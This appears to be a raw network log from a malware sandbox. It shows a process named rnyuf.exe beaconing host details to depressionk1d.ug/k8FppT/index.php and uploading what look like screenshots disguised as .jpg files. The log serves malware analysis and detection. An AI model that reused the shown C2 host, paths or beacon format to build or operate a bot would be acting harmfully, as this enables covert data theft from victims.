Nov 12, 2021 22:24:20.794884920 CET	14585	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:20.795104980 CET	14595	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:20.795285940 CET	14598	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:20.817917109 CET	14603	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:20.817995071 CET	14619	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:20.818023920 CET	14624	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:24:20.840543985 CET	14630	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:24:20.840595007 CET	14651	OUT	Data Raw: f2 17 b7 ff 00 7a 9f aa 1f f8 9a 5c 7f be 6a 3d 1b fe 42 f6 ff 00 ef 53 b5 13 9d 46 7f f7 cd 72 5b f7 ff 00 23 59 7f 07 e6 56 a4 ef 45 15 b9 ca 2d 14 94 b4 00 52 d2 52 f6 a0 40 29 69 29 69 08 29 45 25 28 a0 41 40 a2 81 48 07 03 4a 29 29 45 21 31 Data Ascii: z\j=BSFr[#YVE-RR@)i)i)E%(A@HJ))E!1)"Wm$*PvxEz^^<CW6_9z1z=x'KtVNkQ<i/Vk~B4WIqNQZVCZxsPNE&LsR@)i)"5Tp5
Nov 12, 2021 22:24:20.840621948 CET	14661	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:24:20.841721058 CET	14677	OUT	Data Raw: 57 73 75 c2 c0 80 0f c0 00 2b af ff 00 84 73 43 ff 00 a0 36 9d ff 00 80 a9 fe 14 db fb 2b 4b 0f 0e 6a 51 59 da c3 6f 19 b6 95 8a 43 18 40 4e c3 ce 07 7e 05 2c 66 61 4e bd 37 08 c6 cc ac 1e 5f 52 85 55 39 4a e8 f8 e6 97 bd 18 a0 0a 8b 1a 85 2d 14 Data Ascii: Wsu+sC6+KjQYoC@N~,faN7_RU9J-%#B^=F6Wo1+oL<R},[[`Jr</_;5]\ic7sKPZxKK$ps+5{{sw+n\|kL-c
Nov 12, 2021 22:24:20.888509035 CET	14691	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.4	50144	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:20.934299946 CET	14692	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:20.961424112 CET	14692	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.4	50145	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.102976084 CET	14693	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:21.130384922 CET	14693	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49816	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.123914003 CET	3893	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 31 30 36 30 30 31 26 75 6e 69 74 3d 31 35 32 31 33 38 35 33 33 32 31 39 Data Ascii: e0=1000106001&unit=152138533219
Nov 12, 2021 22:23:30.149957895 CET	3893	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.4	50146	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.263261080 CET	14694	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:21.292978048 CET	14695	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.4	50147	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.448810101 CET	14695	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:21.477171898 CET	14696	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.4	50149	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.611221075 CET	14698	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:21.643166065 CET	14698	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.4	50150	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.792020082 CET	15223	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:21.818232059 CET	15262	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.4	50151	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.792907000 CET	15223	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----66fb56215c6a9fc0af8f0f17b5d10c80 Host: depressionk1d.ug Content-Length: 107062 Cache-Control: no-cache
Nov 12, 2021 22:24:21.792993069 CET	15223	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 36 66 62 35 36 32 31 35 63 36 61 39 66 63 30 61 66 38 66 30 66 31 37 62 35 64 31 30 63 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------66fb56215c6a9fc0af8f0f17b5d10c80Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:21.793184996 CET	15233	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:21.793258905 CET	15236	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:21.815552950 CET	15239	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:21.815583944 CET	15242	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:21.815623045 CET	15244	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:21.815633059 CET	15246	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:21.815644979 CET	15247	OUT	Data Raw: 92 8a 00 08 a4 c7 b5 2e 68 ce 68 d0 04 c7 14 52 d2 50 02 13 c5 34 d2 d2 54 94 36 93 bd 3e 93 bd 21 91 56 cf 86 7f e4 25 27 fd 71 3f cc 56 35 74 be 08 d3 2f 75 6d 6e 5b 6b 08 1a 79 85 bb 3e c5 20 1c 06 5f 5f ad 69 87 92 8d 58 b9 3b 23 3c 4c 5c a9 Data Ascii: .hhRP4T6>!V%'q?V5t/umn[ky> __iX;#<L\IE]Hb2b0J/x<I *>(LzcK\|s9I;;>Yueu_7$'Yz:,rlt
Nov 12, 2021 22:24:21.815673113 CET	15250	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:21.815697908 CET	15253	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:21.888654947 CET	15334	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.4	50152	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:21.953377008 CET	15335	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:21.979717970 CET	15336	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.4	50153	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:22.180668116 CET	15336	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:22.206614971 CET	15337	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.4	50154	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:22.342566013 CET	15338	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:22.368038893 CET	15338	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.4	50155	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:22.497692108 CET	15593	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:22.524527073 CET	15593	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.4	50156	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:22.656893969 CET	15594	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
